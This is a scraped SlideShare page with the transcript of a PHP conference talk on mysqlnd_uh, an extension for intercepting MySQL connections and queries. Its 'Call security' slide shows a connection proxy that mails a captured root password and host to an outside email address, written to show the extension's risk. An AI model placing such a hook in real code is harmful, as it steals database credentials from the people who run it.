• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Mysqlnd uh

Mysqlnd uh






Total Views
Views on SlideShare
Embed Views



3 Embeds 722

http://fishtrap.co.uk 719
http://ranksit.com 2
http://translate.googleusercontent.com 1



Upload Details

Uploaded via as Apple Keynote

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
Post Comment
Edit your comment
  • \n
  • like useless things and to a certain extent this is one of them\n
  • Appologies if you know this stuff already but I was quite supprised when my colleague didn’t think it’s people switch of when hear dbs\n
  • \n
  • \n
  • recompile\nimportant to tell mysqlnd where your mysql server socket is as your now the client\nonce you have done that \n
  • another advantage mysqlnd is plugin architecture\n7 modules\n
  • lifted example from php.net documentation about writing mysqnd plugin as PHP extension\nto use get the mysqlnd function table back it up replace the function table with a custom one \nwith your own function and in that calling the original method\nlot of boiler plate stuff to build a PHP extension\n
  • on Pickle\nunstable there is a release which is missing some of the stuff we’re going to look at\n
  • \n
  • key concepts \nproxy extends connection\nset connection proxy\ndemo\n
  • mysqlnd_uh extension is to allow you to use PHP to quickly do similar things\ngoing back to this slide at the moment this is the state of mysqlnd_uh \n\n
  • demo\n
  • showing example of result proxy\nresult functions undocumented\ndemo\ncurrent trunk unstable ask me if you want to use it\n
  • \n

Mysqlnd uh Mysqlnd uh Presentation Transcript

  • mysqlnd_uhA wild and wacky mysql extension
  • Who Am I?• Nathaniel McHugh• Ibuildings Sheffield• Zend Certified PHP Developer• Oracle certified MySQL Developer• Like writing extensions like databases• Never do anything useful
  • What is mysqlnd?• PHP Extension created by owners of MySQL for PHP to query MySQL databases• It is not an alternative to the three MySQL extensions existing namely, mysql, mysqli and pdo_mysql• Although it is a PHP extension it exports no new PHP functions
  • A diagram: all is now clear
  • Libmysql vs mysqlnd• C Library • PHP Extension• GPL License • PHP License• Linked at compile time • Included in PHP source• Many Failing tests • Fewer failing tests • May perform better around buffered queries
  • How do I get mysqlnd?The libysql way--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]e.g. on ubuntu this will be /usr/bin looking for mysql_configThe mysqlnd way--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock[=DIR]
  • How do I get mysqlnd?The libysql way--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]e.g. on ubuntu this will be /usr/bin looking for mysql_configThe mysqlnd way--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock[=DIR]
  • Plugin Architecture• mysqlnd_statistics.c• mysqlnd.c• mysqlnd_result.c• mysqlnd_result_meta.c• mysqlnd_ps.c• mysqlnd_net.c• mysqlnd_wireprotocol.c
  • How to extend mysqlnd /* a place to store orginal function table */struct st_mysqlnd_conn_methods org_methods;void minit_register_hooks(TSRMLS_D) { /* active function table */ struct st_mysqlnd_conn_methods * current_methods = mysqlnd_conn_get_methods(); /* backup original function table */ memcpy(&org_methods, current_methods, sizeof(struct st_mysqlnd_conn_methods); /* install new methods */ current_methods->query = MYSQLND_METHOD(my_conn_class, query);}MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn, const char *query, unsigned int query_len TSRMLS_DC) { php_printf("my_conn_class::query(query = %s)n", query); query = "SELECT query rewritten FROM DUAL"; query_len = strlen(query); return org_methods.query(conn, query, query_len); /* return with call to parent */}
  • Enter mysqlnd_uh
  • Real world(ish) use caseAmazon RDS does not give users the SUPER privilegeand so you cannot change the timezone globallyAnswer: set the timezone for every connection
  • mysqlnd_uh to the rescue<?phpclass proxy extends MysqlndUhConnection { public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);   $query = "SET time_zone = Europe/Moscow";   parent::query($res, $query);   return $ret; }}mysqlnd_uh_set_connection_proxy(new proxy());$mysqli = new mysqli("", "root", "youllNeverGuess", "test");$result = $mysqli->query("SELECT NOW()");var_dump(mysqli_fetch_all($result));
  • Plugin Architecture• mysqlnd_statistics.c• mysqlnd.c ✔• mysqlnd_result.c ✔• mysqlnd_result_meta.c• mysqlnd_ps.c ✔• mysqlnd_net.c• mysqlnd_wireprotocol.c
  • Call security<?phpclass proxy extends MysqlndUhConnection { public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {    if (root == $user) {           mail(nat@fishtrap.co.uk,                Subject stolen root password,                 "Hey root password on $host is ".                 "$passwd lets steal their data");    }   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);   return $ret; }}mysqlnd_uh_set_connection_proxy(new proxy());// ...$mysqli = new mysqli("", "root", "youllNeverGuess", "test"); mysqlnd_uh.enable = 1;
  • Another example <?phpclass resultProxy extends MysqlndUhResult {   private $_rows = array();      public function __construct($rows) {    $this->_rows = $rows;  }  public function fetchInto($res, &$rows, $flags, $extension) {    if (!empty($this->_rows)) {      $rows = $this->_rows;      unset($this->_rows);    } else {      $rows = null;    }  }}class proxy extends MysqlndUhConnection {  public function query($res, $query) {    $query = "SELECT Hello AS _msg FROM DUAL";    return parent::query($res, $query);  }}mysqlnd_uh_set_connection_proxy(new proxy());mysqlnd_uh_set_result_proxy(new resultProxy(range(a, m)));$mysqli = new mysqli("", "root", "youllNeverGuess", "test");var_dump($mysqli->query("Going to replace this")->fetch_all());
  • Questions I can answer?